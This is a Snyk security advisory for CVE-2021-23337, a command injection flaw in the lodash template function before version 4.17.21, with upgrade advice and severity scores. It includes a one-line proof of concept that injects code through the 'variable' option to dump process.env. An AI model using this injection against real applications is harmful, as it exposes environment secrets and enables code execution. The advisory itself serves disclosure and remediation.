

Command Injection

Affecting [lodash](#) package, versions <4.17.21

INTRODUCED: 17 NOV 2020 [CVE-2021-23337](#) [CWE-78](#) [FIRST ADDED BY SNYK](#)

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How to fix?

Upgrade `lodash` to version 4.17.21 or higher.

Overview

`lodash` is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Command Injection via `template`.

PoC

```
var _ = require('lodash');

_.template('', { variable: '(){console.log(process.env)}; with(obj' })()
```

References

- [GitHub Commit](#)
- [Vulnerable Code](#)

HIGH

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Snyk CVSS

Exploit Maturity	Proof of concept
Attack Complexity	Low
Privileges Required	HIGH
Confidentiality	HIGH
Integrity	HIGH
Availability	HIGH

See more

> NVD

7.2 HIGH

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID	SNYK-JS-LODASH-1040724
Published	15 Feb 2021
Disclosed	17 Nov 2020
Credit	Marc Hassan

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